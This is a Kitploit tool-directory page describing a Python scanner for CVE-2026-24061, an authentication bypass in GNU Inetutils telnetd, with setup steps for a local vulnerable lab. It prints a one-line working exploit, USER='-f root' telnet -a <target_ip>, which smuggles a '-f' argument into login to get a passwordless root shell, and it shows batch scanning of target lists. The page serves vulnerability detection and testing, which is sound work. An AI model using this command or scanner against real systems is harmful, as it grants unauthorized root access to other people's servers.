Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-24061 — Python-based scanner that detects CVE-2026-24061 in GNU Inetutils telnetd, allowing batch testing of multiple targets for the authentication bypass vulnerability. | Kitploit
Tools/GitHubGitHub/monstertsl/cve-2026-24061
Vulnerability ScannersExploitationPenetration TestingAuthenticationRemote Access Tool
GitHubmonstertsl/cve-2026-24061

CVE-2026-24061

Python-based scanner that detects CVE-2026-24061 in GNU Inetutils telnetd, allowing batch testing of multiple targets for the authentication bypass vulnerability.

View Repository
1138 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-24061 Vulnerability Batch Detection Tool

⚠️ Note: CVE-2026-24061 GNU Inetutils is a classic set of network tools provided by the GNU project, which includes the telnetd service, i.e., the Telnet server daemon. In versions 1.9.3 through 2.7, the telnetd service has a fatal flaw in the user authentication process. When the service invokes the system login program /usr/bin/login, it fails to properly filter and validate the USER environment variable passed by the client. An attacker can inject the -f parameter directly into the login command by setting a specific USER variable value. The -f parameter of the login program is used to "skip secondary authentication", which allows the attacker to completely bypass all password verification steps and directly establish a remote session as the root user, thereby gaining the highest level of control over the server. This vulnerability is extremely dangerous, equivalent to a public, credential-free remote root backdoor.

Vulnerability Detection POC

USER='-f root' telnet -a <target_ip>

Detection Script

demo.png

Single Target Detection

python3 cve-2026-24061.py -i 10.10.168.128

Batch Detection

python3 cve-2026-24061.py -f targets.txt

Vulnerability Principle

The above command sets the environment variable USER to -f root. When a vulnerable telnetd service receives the connection, it constructs and executes a system call similar to the following:

Reproduction Steps

1. Install Required Programs

sudo apt update
sudo apt install openbsd-inetd inetutils-telnetd telnet -y

2. Uncomment the telnet line (ensure correct formatting)

sudo sed -i 's/^#telnet/telnet/' /etc/inetd.conf

3. Restart the Service

sudo systemctl restart openbsd-inetd

4. Check the Port

sudo ss -tuln | grep ':23'

5. Local Testing

telnet localhost 23
Download Tool